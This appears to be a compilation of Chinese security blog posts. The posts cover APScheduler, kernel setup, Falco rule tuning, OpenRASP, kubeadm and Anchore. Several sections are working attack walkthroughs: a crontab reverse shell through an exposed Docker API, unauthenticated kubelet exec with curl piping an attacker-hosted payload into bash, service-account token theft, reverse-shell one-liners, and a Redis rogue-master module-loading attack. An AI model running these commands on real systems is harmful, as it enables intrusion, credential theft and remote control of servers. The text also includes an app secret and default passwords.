从错误信息看到,因为无法还原job,然后把它删了。。。。。。那为什么还原job呢?我查看数据库发现有这个job呀,为什么不能还原?而且不单单有这个job,还有其他程序调用apscheduler添加的job。接着查看调试信息的时候发现一个奇怪的情况,数据库里有A程序调用aps添加的任务1,应执行的时间是a1。还有B程序调用aps添加的任务2,应执行的时间的b2。但现在在A程序上的调试信息里看到的时间确是b2,后来想了想,出现这种情况可能是因为任务1和任务2都在一个库的一个表里,所以导致A程序调用了任务2,然后调用失败删除了相应的job。
网上所有教程和相关问题都没说过这种情况,相关示例也没有说可以自定义job库和表,所以出现了一个程序使用aps的时候没有问题,但是两个程序都使用的时候出现了问题,解决方法就是一个程序使用一个表就可以了,如下:
之前安装yulong的时候,需要根据不同的内核版本来重新编译驱动,但是网上搜索centos或者Ubuntu的下载地址的时候,都是给出发行版本的信息,怎么根据发行版本找到对应的内核版本呢?以Ubuntu为例,假设要搭建一个内核版本是4.4.0-134-generic的环境,首先:
1. 在wiki上查找发型版本和内核版本的对应关系,可以看到4.4内核版本对应的是16.04 LTS
2. 因为有些老版本官网已经没有了,所以到Old Ubuntu Releases下载对应版本并安装
3. 安装好后,查看内核版本发现是 4.4.0-116-generic
4. 这和需要的 4.4.0-134-generic 版本还不一样,接着开始升级指定内核,先用命令安装相关软件包:
apt-get install -y linux-image-4.4.0-134-generi
然后重启,在bios页面过去后,按esc就可以选择指定内核启动了(tips:在输入【apt-get install -y linux-image-4】后,可以重复按tab键,确认是否有想要安装的内核版本)
5. 最后安装一些头文件,编译驱动的时候会用到
apt-get install linux-headers-$(uname -r)
6. 总结:安装指定内核版本,需要先安装内核主次版本号对应的发行版本,接着在使用apt-get升级成指定内核版本,但是apt-get不能跨主版本升级,例如:安装4.4.0-134-generic,你下了一个内核是4.2的系统镜像安装,是不能从4.2升级到4.4的。 之前说的有些错误,应该是在谷歌上搜索指定内核的关键字,然后通过搜索出来的内容查看内核属于哪个发行版本,再下载对应的发行版本通过apt安装
不借助jenkins的话,将仓库添加到anchore,能否自动扫描实时上传的镜像安全
Originally posted by @Aimee-Song in https://github.com/zj1244/Blog/issues/15#issuecomment-633516286
使用helm部署falco,推荐把日志格式化成json,这样日志信息会比较详细
# helm install --name falco --set ebpf.enabled=true,falco.jsonOutput=true,set image.tag=0.22.0 stable/falco
从集群删除
# helm delete --purge falco
升级目标节点内核后重启,问题解决
yum install kernel
yum -y install kernel-devel-$(uname -r)
# cat custom_rules.yaml
customRules:
custom_rules.yaml: |-
- rule: Unauthorized process
desc: There is a running process not described in the base template
condition: spawned_process and container and proc.args contains "serviceaccount"
output: Unauthorized process (%proc.cmdline) running in (%container.id)
priority: ERROR
tags: [process]
- list: safe_etc_dirs
items: [/etc/titanagent]
# helm upgrade falco -f custom_rules.yaml stable/falco
查看日志可以看到自定义规则被加载
分析日志发现有如下误报,下面谈谈如何修改规则去除误报
20:46:45.519621929: Warning Sensitive file opened for reading by non-trusted program (user=<NA> program=titanagent command=titanagent -d file=/etc/shadow parent=<NA> gparent=<NA> ggparent=<NA> gggparent=<NA> container_id=host image=<NA>) k8s.ns=<NA> k8s.pod=<NA> container=host k8s.ns=<NA> k8s.pod=<NA> container=host k8s.ns=<NA> k8s.pod=<NA> container=host
首先从误报信息里提取关键字,如:non-trusted,然后到falco的规则文件falco_rules.yaml里查找,看下这条规则是如何编写的,找到如下:
- rule: Read sensitive file untrusted
desc: >
an attempt to read any sensitive file (e.g. files containing user/password/authentication
information). Exceptions are made for known trusted programs.
condition: >
sensitive_files and open_read
and proc_name_exists
and not proc.name in (user_mgmt_binaries, userexec_binaries, package_mgmt_binaries,
cron_binaries, read_sensitive_file_binaries, shell_binaries, hids_binaries,
vpn_binaries, mail_config_binaries, nomachine_binaries, sshkit_script_binaries,
in.proftpd, mandb, salt-minion, postgres_mgmt_binaries)
and not cmp_cp_by_passwd
and not ansible_running_python
and not proc.cmdline contains /usr/bin/mandb
and not run_by_qualys
and not run_by_chef
and not run_by_google_accounts_daemon
and not user_read_sensitive_file_conditions
and not perl_running_plesk
and not perl_running_updmap
and not veritas_driver_script
and not perl_running_centrifydc
and not runuser_reading_pam
output: >
Sensitive file opened for reading by non-trusted program (user=%user.name program=%proc.name
command=%proc.cmdline file=%fd.name parent=%proc.pname gparent=%proc.aname[2] ggparent=%proc.aname[3] gggparent=%proc.aname[4] container_id=%container.id image=%container.image.repository)
priority: WARNING
tags: [filesystem, mitre_credential_access, mitre_discovery]
找到规则后,分析误报日志里的信息,找出独特的信息作为白名单。如:program=titanagent。接着由于program=%proc.name,所以我们分析规则里proc.name的相关信息:
not proc.name in (user_mgmt_binaries, userexec_binaries, package_mgmt_binaries,
cron_binaries, read_sensitive_file_binaries, shell_binaries, hids_binaries,
vpn_binaries, mail_config_binaries, nomachine_binaries, sshkit_script_binaries,
in.proftpd, mandb, salt-minion, postgres_mgmt_binaries)
这个语句大概的意思就是如果proc.name不属于括号里的内容就告警,所以只要把titanagent加入括号里即可。而括号里的都属于变量,我们找一个合适的变量加进去,如:hids_binaries。在falco_rules.yaml里搜索hids_binaries,找到hids_binaries的定义如下:
- list: hids_binaries
items: [aide]
最后在我们的custom_rules.yaml里加入如下信息:
customRules:
custom_rules.yaml: |-
- rule: Unauthorized process
desc: There is a running process not described in the base template!!!!!!!!!!!!!!!!!!!!
condition: spawned_process and container and proc.args contains "serviceaccount"
output: Unauthorized process (%proc.cmdline) running in (%container.id)
priority: ERROR
tags: [process]
- list: safe_etc_dirs
append: true
items: [/etc/titanagent]
- list: hids_binaries
append: true
items: [titanagent]
首先需要三个数据库,mysql、Elasticsearch和MongoDB,es用来存储报警和统计信息,mongo用来存储应用、账号密码等信息。
目前对数据库的要求是:
mongodb和es安装过程省略,测试可以用docker
> use openrasp
> db.createUser({user:'iast',pwd:'123456', roles:["readWrite", "dbAdmin"]})
# wget https://packages.baidu.com/app/openrasp/release/1.3.2/rasp-cloud.tar.gz
# tar -zxvf rasp-cloud.tar.gz
# cd rasp-cloud-2020-03-25/
# vim conf/app.conf
最后启动程序:
# ./rasp-cloud
或者
# ./rasp-cloud -d //后台运行
# wget https://packages.baidu.com/app/openrasp/openrasp-iast-latest -O /usr/bin/openrasp-iast
配置MYSQL数据库,建立名为openrasp的数据库,并且为rasp@%授权,这里示例密码为rasp123,请自行修改为强密码。使用root账号连接mysql并执行如下语句:
DROP DATABASE IF EXISTS openrasp;
CREATE DATABASE openrasp default charset utf8mb4 COLLATE utf8mb4_general_ci;
grant all privileges on openrasp.* to 'rasp'@'%' identified by 'rasp123';
grant all privileges on openrasp.* to 'rasp'@'localhost' identified by 'rasp123';
点击应用管理->添加,应用名称和应用备注填入iast,应用语言选择java,点击保存
在云控(8086那个端口)右上角添加主机->Fuzz工具安装,从第三步开始,注意改mysql地址:
打开云控管理后台http://ip:8086,输入默认用户名密码:openrasp/admin@123
在插件管理中选择推送iast插件。
接着在防护设置->Fuzz服务器地址里填入openrast-iast所监听的URL,端口使用默认,一定要改IP,不然会发现不到扫描任务:
最后在系统设置->通用设置中,修改检测配置
下载webgoat.jar文件
链接:https://pan.baidu.com/s/1du-4XVlAfvk7S6q-8VF7gA
提取码:4261
新建Dockerfile
# cat Dockerfile
FROM openjdk:11.0.1-jre-slim-stretch
ARG webgoat_version=v8.0.0-SNAPSHOT
RUN \
apt-get update && apt-get install && \
useradd --home-dir /home/webgoat --create-home -U webgoat
ADD https://packages.baidu.com/app/openrasp/release/1.3.2/rasp-java.tar.gz /tmp
RUN cd /tmp \
&& tar -xf rasp-java.tar.* \
&& mv rasp-*/rasp/ /rasp/ \
&& rm -f rasp-java.tar.gz
RUN echo "cloud.enable: true" >> /rasp/conf/openrasp.yml \
&& echo "cloud.backend_url: http://192.168.47.105:8086/" >> /rasp/conf/openrasp.yml \
&& echo "cloud.app_id: cbaf06097b812f6b6c3ad3269812b2f01f3efb50" >> /rasp/conf/openrasp.yml \
&& echo "cloud.app_secret: 45BvWs0K3vZ0iW10Fm52BD1DcPe4ElIn38e3s6JdxE8" >> /rasp/conf/openrasp.yml
COPY webgoat-server-8.0.0.M25.jar /home/webgoat/webgoat.jar
RUN mkdir -p /rasp/logs/rasp/
EXPOSE 8080
ENTRYPOINT ["java", "--add-opens","java.base/jdk.internal.loader=ALL-UNNAMED","-Djava.security.egd=file:/dev/./urandom","-javaagent:/rasp/rasp.jar", "-jar", "/home/webgoat/webgoat.jar"]
CMD ["--server.port=8080", "--server.address=0.0.0.0"]
编译运行镜像
# docker build -t webgoat:1 .
# docker run -p 8080:8080 webgoat:1
在云控上点击主机管理,出现agent,说明agent部署成功
访问http://ip:8080/WebGoat,随便操作一些功能,可以看到已经检测出漏洞
没什么好说的,和redis的利用方式很像
# docker -H tcp://ip:2375 run -it -v /etc:/mnt centos /bin/bash
# cp /mnt/crontab /mnt/crontab.bak
# echo -e "* * * * * root bash -i >& /dev/tcp/172.1.1.1/8008 0>&1\n" >> /mnt/crontab
# docker -H tcp://ip:2375 run -it -v /root/.ssh/:/mnt centos /bin/bash
# ssh-keygen -t rsa -P '' //攻击者在本地生成密钥
# echo "xxxx" >> /mnt/authorized_keys //把密钥写入远程docker
# ssh ip //连接
# docker -H 1.1.1.1 ps| grep apiserver
# netstat -an | grep 6443 //查看是否有和6443连接,同时可以找到master的ip
# ps -ef | grep kubelet //查看是否存在kubelet
找到kubelet.conf文件
把/etc/kubernetes/kubelet.conf
的内容复制下来,并把里面的pem文件也一起复制下来。如果user是default-auth的话,权限不会太大
一共三个文件:kubelet.conf、kubelet-client-current.pem和kubelet-client-current.pem。
# cat hacker.conf
apiVersion: v1
clusters:
- cluster:
certificate-authority-data: xxxxxxxxxxxxxxxxxxxxxxxxxxxxx
server: https://k8s-nginx-01.xxx.cloud:6443 //改成需要连接的master的ip
name: default-cluster
contexts:
- context:
cluster: default-cluster
namespace: default
user: default-auth
name: default-context
current-context: default-context
kind: Config
preferences: {}
users:
- name: default-auth
user:
client-certificate: client.pem
client-key: client.pem
# kubectl --kubeconfig hacker.conf get pods
NAME READY STATUS RESTARTS AGE
lxcfs-qhxqt 0/1 CrashLoopBackOff 11725 41d
然而并没有什么卵用,这个用户权限太低,只能一些命令
随便进入某个pod,然后查看token
接着使用命令kubectl --insecure-skip-tls-verify=true --server="https://192.168.1.1:6443" --token="eyJ....." get secrets --all-namespaces
连接试试,发现还是权限不足
通过一系列的尝试后,发现k8s_agent_cattle-node-agent-fbgcq_cattle-system的pod权限比较大,下一步便是通过创建pod来挂载目录,然后用crontab来获得shell了
1、确定主机是否可以利用,访问https://ip:10250/pods
,出现如下数据表示可以利用:
2、执行【curl -k -XPOST "https://k8s-node-1:10250/run/%namespace%/%pod_name%/%container_name%" -d "cmd=ls -la /"】,即可执行命令:
3、现在问题变成了如何确定namespace、pod_name、container_name,访问https://ip:10250/pods
,并查找selfLink,会有一个类似【/api/v1/namespaces/test1/pods/web-docker-594dd9789f-fc9d9】的值,其中namespaces就是后面的test1,同理pods就是后面的web-docker-594dd9789f-fc9d9。如果执行失败,可以看看phase的状态是不是fail,是的话就换一个phase是running的再试试。
4、获得token,curl -k -XPOST "https://ip:10250/run/cattle-system/cattle-cluster-agent-549fc45d6f-lf7hp/cluster-register" -d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token"
5、如果不在这个位置,可用mount命令来查找:
6、接下来可以尝试获得master(api server)的权限,默认情况下,api server开发的端口为6443,所以扫描同个网段开放6443的主机来挨个尝试,除了这种方法,还可以尝试执行env命令来查看是否有api server的地址或者其他敏感信息:
7、执行命令kubectl --insecure-skip-tls-verify=true --server="https://ip:6443" --token="eyJhbG......" get secrets --all-namespaces -o json
,如果提示【error: You must be logged in to the server (Unauthorized)】就是token和api server不匹配。
1、获得node(开放10250端口主机)的shell:
192.168.84.158:88是入侵者的web服务,写了反弹shell:
curl --insecure -v -H "X-Stream-Protocol-Version: v2.channel.k8s.io" -H "X-Stream-Protocol-Version: channel.k8s.io" -X POST "https://192.168.4.68:10250/exec/ingress-nginx/nginx-ingress-controller-6f5cbc5444-nkdg6/nginx-ingress-controller?command=/bin/bash&command=-c&command=curl+192.168.84.158:88+|+bash&input=1&output=1&tty=1"
不行就试试下面的:
curl --insecure -v -H "X-Stream-Protocol-Version: v2.channel.k8s.io" -H "X-Stream-Protocol-Version: channel.k8s.io" -X POST "https://192.168.4.68:10250/exec/ingress-nginx/nginx-ingress-controller-6f5cbc5444-nkdg6/nginx-ingress-controller?command=/bin/sh&command=-c&command=curl+192.168.84.158:88+|+sh&input=1&output=1&tty=1"
[root@localhost ~]# curl --insecure -v -H "X-Stream-Protocol-Version: v2.channel.k8s.io" -H "X-Stream-Protocol-Version: channel.k8s.io" -X POST "https://192.168.4.68:10250/exec/ingress-nginx/nginx-ingress-controller-6f5cbc5444-nkdg6/nginx-ingress-controller?command=/bin/bash&command=-c&command=curl+192.168.84.158:88+|+bash&input=1&output=1&tty=1"
* About to connect() to 192.168.4.68 port 10250 (#0)
* Trying 192.168.4.68...
* Connected to 192.168.4.68 (192.168.4.68) port 10250 (#0)
* Initializing NSS with certpath: sql:/etc/pki/nssdb
* skipping SSL peer certificate verification
* SSL connection using TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
* Server certificate:
* subject: CN=192.168.4.68@1544518989
* start date: 12月 11 09:03:09 2018 GMT
* expire date: 12月 11 09:03:09 2019 GMT
* common name: 192.168.4.68@1544518989
* issuer: CN=192.168.4.68@1544518989
> POST /exec/ingress-nginx/nginx-ingress-controller-6f5cbc5444-nkdg6/nginx-ingress-controller?command=/bin/bash&command=-c&command=curl+192.168.84.158:88+|+bash&input=1&output=1&tty=1 HTTP/1.1
> User-Agent: curl/7.29.0
> Host: 192.168.4.68:10250
> Accept: */*
> X-Stream-Protocol-Version: v2.channel.k8s.io
> X-Stream-Protocol-Version: channel.k8s.io
>
< HTTP/1.1 302 Found
< Location: /cri/exec/zEKYcaZt //查看执行结果
< Date: Wed, 07 Aug 2019 06:01:42 GMT
< Content-Length: 0
< Content-Type: text/plain; charset=utf-8
<
* Connection #0 to host 192.168.4.68 left intact
[root@localhost ~]#
2、测试使用token是否能连接到master
在安装了docker的机器上执行:
[root@localhost ~]# docker run -it --rm joshgubler/wscat -c "https://192.168.4.68:10250/cri/exec/zEKYcaZt" --no-check
在反弹的shell里查看master的内部ip,还有是否存在token:
执行,查看是否报错
[root@localhost ~]# TOKEN_VALUE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
[root@localhost ~]# curl -k --cacert /var/run/secrets/kubernetes.io/serviceaccount/ca.crt -H "Authorization: Bearer $TOKEN_VALUE" https://10.0.0.1:443/api/v1/pods
3、创建一个可以反弹的pod
参考:
https://www.lijiaocn.com/%E9%97%AE%E9%A2%98/2018/07/20/kubernetes-docker-cpu-high.html
https://segmentfault.com/a/1190000002937665
http://blog.allen-mo.com/2019/04/29/k8s-security-serviceaccount/
https://stackoverflow.com/questions/51176283/how-to-create-pod-from-rest-api
https://raesene.github.io/blog/2016/10/08/Kubernetes-From-Container-To-Cluster/
http://carnal0wnage.attackresearch.com/2019/01/kubernetes-unauth-kublet-api-10250.html
https://labs.f-secure.com/blog/attacking-kubernetes-through-kubelet/
[root@localhost ~]# hostnamectl set-hostname k8s-master
[root@k8s-master ~]# reboot
[root@k8s-master ~]# yum -y install policycoreutils-python*
[root@k8s-master ~]# wget http://ftp.riken.jp/Linux/cern/centos/7/extras/x86_64/Packages/container-selinux-2.68-1.el7.noarch.rpm
[root@k8s-master ~]# rpm -ivh container-selinux-2.68-1.el7.noarch.rpm
准备中... ################################# [100%]
正在升级/安装...
1:container-selinux-2:2.68-1.el7 ################################# [100%]
[root@k8s-master ~]# yum install -y libltdl.so* pigz* bridge-utils*
[root@k8s-master ~]# curl -sSL https://get.docker.com/ | sudo sh
[root@k8s-master ~]# vim /etc/yum.repos.d/kubernetes.repo
[root@k8s-master ~]# cat /etc/yum.repos.d/kubernetes.repo
[kuberneten]
name=Kubernetes
baseurl=http://mirrors.aliyun.com/kubernetes/yum/repos/kubernetes-el7-x86_64
enabled=1
gpgcheck=0
repo_gpgcheck=0
gpgkey=http://mirrors.aliyun.com/kubernetes/yum/doc/yum-key.gpg
http://mirrors.aliyun.com/kubernetes/yum/doc/rpm-package-key.gpg
[root@k8s-master ~]# yum makecache
[root@k8s-master ~]# swapoff -a
[root@k8s-master ~]# sed -i '/ swap / s/^\(.*\)$/#\1/g' /etc/fstab
[root@k8s-master ~]# echo "net.bridge.bridge-nf-call-iptables=1">> /etc/sysctl.conf
[root@k8s-master ~]# echo "1" > /proc/sys/net/ipv4/ip_forward
[root@k8s-master ~]# modprobe br_netfilter
[root@k8s-master ~]# sysctl -p
[root@k8s-master ~]# yum install -y kubelet kubeadm kubectl kubernetes-cni
[root@k8s-master ~]# systemctl enable docker && systemctl start docker
Created symlink from /etc/systemd/system/multi-user.target.wants/docker.service to /usr/lib/systemd/system/docker.service.
[root@k8s-master ~]# systemctl enable kubelet && systemctl start kubelet
Created symlink from /etc/systemd/system/multi-user.target.wants/kubelet.service to /usr/lib/systemd/system/kubelet.service.
[root@k8s-master ~]#
[root@k8s-master ~]# kubeadm config images list //查看所需镜像,并下载相应版本
W0802 14:50:44.611344 1866 version.go:98] could not fetch a Kubernetes version from the internet: unable to get URL "https://dl.k8s.io/release/stable-1.txt": Get https://dl.k8s.io/release/stable-1.txt: net/http: request canceled while waiting for connection (Client.Timeout exceeded while awaiting headers)
W0802 14:50:44.611436 1866 version.go:99] falling back to the local client version: v1.15.1
k8s.gcr.io/kube-apiserver:v1.15.1
k8s.gcr.io/kube-controller-manager:v1.15.1
k8s.gcr.io/kube-scheduler:v1.15.1
k8s.gcr.io/kube-proxy:v1.15.1
k8s.gcr.io/pause:3.1
k8s.gcr.io/etcd:3.3.10
k8s.gcr.io/coredns:1.3.1
[root@k8s-master ~]# docker pull k8s.gcr.io/kube-apiserver:v1.15.1 && docker pull k8s.gcr.io/kube-controller-manager:v1.15.1 && docker pull k8s.gcr.io/kube-scheduler:v1.15.1 && docker pull k8s.gcr.io/kube-proxy:v1.15.1 && docker pull k8s.gcr.io/pause:3.1 && docker pull k8s.gcr.io/etcd:3.3.10 && docker pull k8s.gcr.io/coredns:1.3.1
[root@k8s-master ~]# kubeadm init --pod-network-cidr=10.244.0.0/16
[root@k8s-master ~]# mkdir -p $HOME/.kube
[root@k8s-master ~]# cp -i /etc/kubernetes/admin.conf $HOME/.kube/config
[root@k8s-master ~]# chown $(id -u):$(id -g) $HOME/.kube/config
[root@k8s-master ~]# kubectl taint nodes --all node-role.kubernetes.io/master- //Master节点默认不参与工作负载,需执行命令来解除限制
node/k8s-master untainted
[root@k8s-master ~]# docker pull quay.io/coreos/flannel:v0.10.0-amd64 //安装cni 网络插件
v0.10.0-amd64: Pulling from coreos/flannel
ff3a5c916c92: Pull complete
8a8433d1d437: Pull complete
306dc0ee491a: Pull complete
856cbd0b7b9c: Pull complete
af6d1e4decc6: Pull complete
Digest: sha256:88f2b4d96fae34bfff3d46293f7f18d1f9f3ca026b4a4d288f28347fcb6580ac
Status: Downloaded newer image for quay.io/coreos/flannel:v0.10.0-amd64
[root@k8s-master ~]#
[root@k8s-master ~]# mkdir -p /etc/cni/net.d/
[root@k8s-master ~]# vi /etc/cni/net.d/10-flannel.conf
[root@k8s-master ~]# cat /etc/cni/net.d/10-flannel.conf
{"name":"cbr0","type":"flannel","delegate": {"isDefaultGateway": true}}
[root@k8s-master ~]# mkdir /usr/share/oci-umount/oci-umount.d -p
[root@k8s-master ~]# mkdir /run/flannel/
[root@k8s-master ~]# kubectl apply -f https://raw.githubusercontent.com/coreos/flannel/v0.9.1/Documentation/kube-flannel.yml
clusterrole.rbac.authorization.k8s.io/flannel created
clusterrolebinding.rbac.authorization.k8s.io/flannel created
serviceaccount/flannel created
configmap/kube-flannel-cfg created
daemonset.extensions/kube-flannel-ds created
[root@k8s-master ~]# kubectl get nodes
NAME STATUS ROLES AGE VERSION
k8s-master Ready master 8m14s v1.15.1
[root@k8s-master ~]# vim dig.yml //测试coredns功能
[root@k8s-master ~]# cat dig.yml
apiVersion: v1
kind: Pod
metadata:
name: dig
namespace: default
spec:
containers:
- name: dig
image: docker.io/azukiapp/dig
command:
- sleep
- "3600"
imagePullPolicy: IfNotPresent
restartPolicy: Always
[root@k8s-master ~]# kubectl apply -f dig.yml
pod/dig created
[root@k8s-master ~]#
[root@k8s-master ~]#
[root@k8s-master ~]# kubectl get pods
NAME READY STATUS RESTARTS AGE
dig 1/1 Running 0 49s
[root@k8s-master ~]# kubectl exec -ti dig -- nslookup kubernetes //如有以下返回说明dns安装成功
Server: 10.96.0.10
Address: 10.96.0.10#53
Name: kubernetes.default.svc.cluster.local
Address: 10.96.0.1
如需加入节点:
[root@localhost ~]# hostnamectl set-hostname k8s-node1
[root@k8s-node1 ~]# reboot
[root@k8s-node1 ~]# yum -y install policycoreutils-python*
[root@k8s-node1 ~]# wget http://mirror.centos.org/centos/7/extras/x86_64/Packages/container-selinux-2.68-1.el7.noarch.rpm
[root@k8s-node1 ~]# rpm -ivh container-selinux-2.68-1.el7.noarch.rpm
准备中... ################################# [100%]
正在升级/安装...
1:container-selinux-2:2.68-1.el7 ################################# [100%]
[root@k8s-node1 ~]# yum install -y libltdl.so* pigz* bridge-utils*
[root@k8s-node1 ~]# curl -sSL https://get.docker.com/ | sudo sh
[root@k8s-node1 ~]# vim /etc/yum.repos.d/kubernetes.repo
[root@k8s-node1 ~]# cat /etc/yum.repos.d/kubernetes.repo
[kuberneten]
name=Kubernetes
baseurl=http://mirrors.aliyun.com/kubernetes/yum/repos/kubernetes-el7-x86_64
enabled=1
gpgcheck=0
repo_gpgcheck=0
gpgkey=http://mirrors.aliyun.com/kubernetes/yum/doc/yum-key.gpg
http://mirrors.aliyun.com/kubernetes/yum/doc/rpm-package-key.gpg
[root@k8s-node1 ~]# yum makecache
[root@k8s-node1 ~]# swapoff -a
[root@k8s-node1 ~]# sed -i '/ swap / s/^\(.*\)$/#\1/g' /etc/fstab
[root@k8s-node1 ~]# echo "net.bridge.bridge-nf-call-iptables=1">> /etc/sysctl.conf
[root@k8s-node1 ~]# echo "1" > /proc/sys/net/ipv4/ip_forward
[root@k8s-node1 ~]# modprobe br_netfilter
[root@k8s-node1 ~]# sysctl -p
[root@k8s-node1 ~]# yum install -y kubelet kubeadm kubectl kubernetes-cni
[root@k8s-node1 ~]# systemctl enable docker && systemctl start docker
Created symlink from /etc/systemd/system/multi-user.target.wants/docker.service to /usr/lib/systemd/system/docker.service.
[root@k8s-node1 ~]# systemctl enable kubelet && systemctl start kubelet
Created symlink from /etc/systemd/system/multi-user.target.wants/kubelet.service to /usr/lib/systemd/system/kubelet.service.
[root@k8s-node1 ~]#
[root@k8s-node1 ~]# mkdir -p /etc/cni/net.d/
[root@k8s-node1 ~]# vi /etc/cni/net.d/10-flannel.conf
[root@k8s-node1 ~]# cat /etc/cni/net.d/10-flannel.conf
{"name":"cbr0","type":"flannel","delegate": {"isDefaultGateway": true}}
在master上查看token:
[root@k8s-master ~]# kubeadm token list //token已过期
TOKEN TTL EXPIRES USAGES DESCRIPTION EXTRA GROUPS
giluwm.lzwt5hgbkxjr42wb <invalid> 2019-08-06T13:45:14+08:00 authentication,signing The default bootstrap token generated by 'kubeadm init'. system:bootstrappers:kubeadm:default-node-token
[root@k8s-master ~]#
[root@k8s-master ~]#
[root@k8s-master ~]# kubeadm token create //重新生成
igpl9v.9sfix2xeu9lmekrd
在node上继续执行:
[root@k8s-node1 ~]# kubeadm join --token=igpl9v.9sfix2xeu9lmekrd 192.168.47.146:6443 --discovery-token-unsafe-skip-ca-verification
查看错误:
[root@localhost ~]# journalctl -f -u kubelet
使用anchore扫描镜像后,发现nvdv2类型的漏洞都没有修复版本,所以这就造成了在修复漏洞的时候,形成很大问题。
接口地址:http://192.168.47.144:8228/images/by_id/454010c206d656fd57da9c7bb4aba3cf81afd04aafdb826b50c6db71d07000d9/vuln/all
之后想的解决办法是从数据库里找到哪个表的字段是存修复版本的,然后写个脚本把修复版本补进去。后来发现数据库里根本没有存nvdv2类型的修复版本,这里顺带提一句,对于feed为vulnerabilities的漏洞,修复版本存在feed_data_vulnerabilities_fixed_artifacts的version字段。具体分析如下:
从接口分析,分析得出接口调用的是get_image_vulnerabilities_by_type_imageId函数
调用关系是:get_image_vulnerabilities_by_type_imageId->get_image_vulnerabilities_by_type->vulnerability_query->client.get_image_vulnerabilities
resp的内容就是镜像的漏洞结果
那get_image_vulnerabilities做了哪些事情,继续分析,有两个地方定义了get_image_vulnerabilities定,分别在:
/opt/rh/rh-python36/root/usr/lib/python3.6/site-packages/anchore_engine/services/policy_engine/api/controllers/synchronous_operations.py
/opt/rh/rh-python36/root/usr/lib/python3.6/site-packages/anchore_engine/clients/services/policy_engine.py
这里先通过clients/services/policy_engine.py的get_image_vulnerabilities向users/{user_id}/images/{image_id}/vulnerabilities接口提交一个请求,从分析anchy_get得出处理请求的ip是engine-policy-engine
查找users/{user_id}/images/{image_id}/vulnerabilities,通过swagger.yaml看出处理这个请求的函数是anchore_engine.services.policy_engine.api.controllers.synchronous_operations的get_image_vulnerabilities,也叫get_image_vulnerabilities。
那我们看看get_image_vulnerabilities做了什么,函数通过img.vulnerabilities()从数据库里获取feed等于vulnerabilities的漏洞信息,然后存到rows列表里,其中的vuln.fixed_in()就是获取数据库里feed=vulnerabilities的修复版本
继续看fixed_in做了什么,fixed_in在/opt/rh/rh-python36/root/usr/lib/python3.6/site-packages/anchore_engine/db/entities/policy_engine.py定义,通过fixed_artifact获取到修复版本,而fixed_artifact是查询了数据库里的feed_data_vulnerabilities_fixed_artifacts表,对于feed是vulnerabilities的修复版本如何获取的分析告一段落。
对于feed是nvdv2的漏洞,在synchronous_operations.py的get_image_vulnerabilities函数中做了另外一种处理,通过get_fixed_in来获取修复版本
那看看get_fixed_in做了什么,get_fixed_in在/opt/rh/rh-python36/root/usr/lib/python3.6/site-packages/anchore_engine/db/entities/policy_engine.py定义,通过查找get_fixed_in会发现这个文件里定义了3个get_fixed_in,其中控制feed是nvdv2的修复版本的是1086行的那个,从代码里可以看到这里直接返回了空
为了验证分析是否正确,所以把return []改成return ['2.2'],看看结果是否有变化:
从结果看,确实是在这里控制修复版本的输出,所以可以在这里添加代码达到目的。但是如果使用这种方法,会对程序有侵入性,并且还要修改数据库,新增一个修复版本字段,很麻烦。所以我换了个办法,想着能在哪些存修复信息对程序影响最小,最后选择了放在url里,可以在url里加个锚点,如:http://xxx/cve-2019-1234#1.20,这样既可以存数据又不会影响本来的url。
当时想着写个脚本把数据库里的所有nvdv2的漏洞全部加上版本,但是后来发现一个漏洞可以对应多个版本号,并且有些是包含,有的是不包含,就算把所有版本提取出来加到url后面,对于包含和不包含的区分也比较麻烦。最后还是放弃了这个思路。
刚开始对于修复版本,是通过获取到https://nvd.nist.gov/
获取到相应的版本号,接着判断此版本号是including的话,就在最后一位版本加1就变成了修复版本,如:17.12变成17.13,是excluding的话就是修复版本。但是后来又发现这种办法在大部分的情况下是对的,但是有的情况是修复版本不是简单的17.12变成17.13,而是17.12.1。所以这种获取修复版本的思路也不理想。最终的思路是:
1、通过https://nvd.nist.gov/
获取受影响的版本号
2、通过受影响组件名字和受影响版本号去https://mvnrepository.com/
获取受影响组件的受影响版本号的下一个版本号,这个版本号就是修复版本的版本号
exec 5<>/dev/tcp/172.21.244.134/8008;cat <&5 | while read line; do $line 2>&5 >&5; done //写入crontab反弹回来执行命令没有回显
0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196
bash -i>& /dev/tcp/192.168.84.111/8888 0>&1
主(master)和 从(slave)部署在不同的服务器上,当主节点写入数据时会同步到从节点的服务器上,一般主节点负责写入数据,从节点负责读取数据
做个实验验证下:
1、本机启动两个redis,端口分别为6379(主)和6380(从)。客户端先连接6379端口,写入几个值
2、连接6380端口,执行slaveof 127.0.0.1 6379 ,将6379设置为主服务
redis4.0后可以通过加载so文件,来实现外部扩展。并且可以通过FULLRESYNC命令同步文件到从机上。通过这些特性,从而实现攻击。
1、连接受害者redis, 执行命令SLAVEOF evil_ip evil_ip
2、在受害者redis设置dir和dbfilename,dbfilename为恶意so文件
3、通过同步将module写入受害者redis磁盘上:+FULLRESYNC <Z*40> 1\r\n$\r\n
4、在受害者redis上加载模块: MODULE LOAD /tmp/exp_lin.so
5、加载成功后,利用system.exec进行命令执行
exp:https://github.com/n0b0dyCN/redis-rogue-server
1、编译exp.so
2、运行攻击程序
192.168.47.146是受害者IP,6666是受害者的redis端口
192.168.47.105是入侵者IP,7777是攻击程序模拟redis监听的端口,随便写
官方的部署方案不完整,会因为没有为postgres设置pv而导致部署失败,而官方文档也没有提醒需要自己建立pv。
1、更新Helm Charts仓库
[root@sec-infoanalysis2-test ops]# helm repo update
Hang tight while we grab the latest from your chart repositories...
...Skip local chart repository
...Successfully got an update from the "stable" chart repository
Update Complete.
2、使用helm安装
[root@sec-infoanalysis2-test ops]# helm install --name anchore stable/anchore-engine --set postgresql.postgresPassword=test,anchoreGlobal.defaultAdminPassword=test,anchoreAnalyzer.layerCacheMaxGigabytes=4,anchoreAnalyzer.replicaCount=5,anchorePolicyEngine.replicaCount=3
NAME: anchore
LAST DEPLOYED: Wed Oct 23 13:56:29 2019
NAMESPACE: default
STATUS: DEPLOYED
RESOURCES:
==> v1/ConfigMap
NAME DATA AGE
anchore-anchore-engine 4 0s
anchore-anchore-engine-analyzer 1 0s
anchore-postgresql 0 0s
==> v1/Deployment
NAME READY UP-TO-DATE AVAILABLE AGE
anchore-anchore-engine-analyzer 0/1 1 0 0s
anchore-anchore-engine-api 0/1 1 0 0s
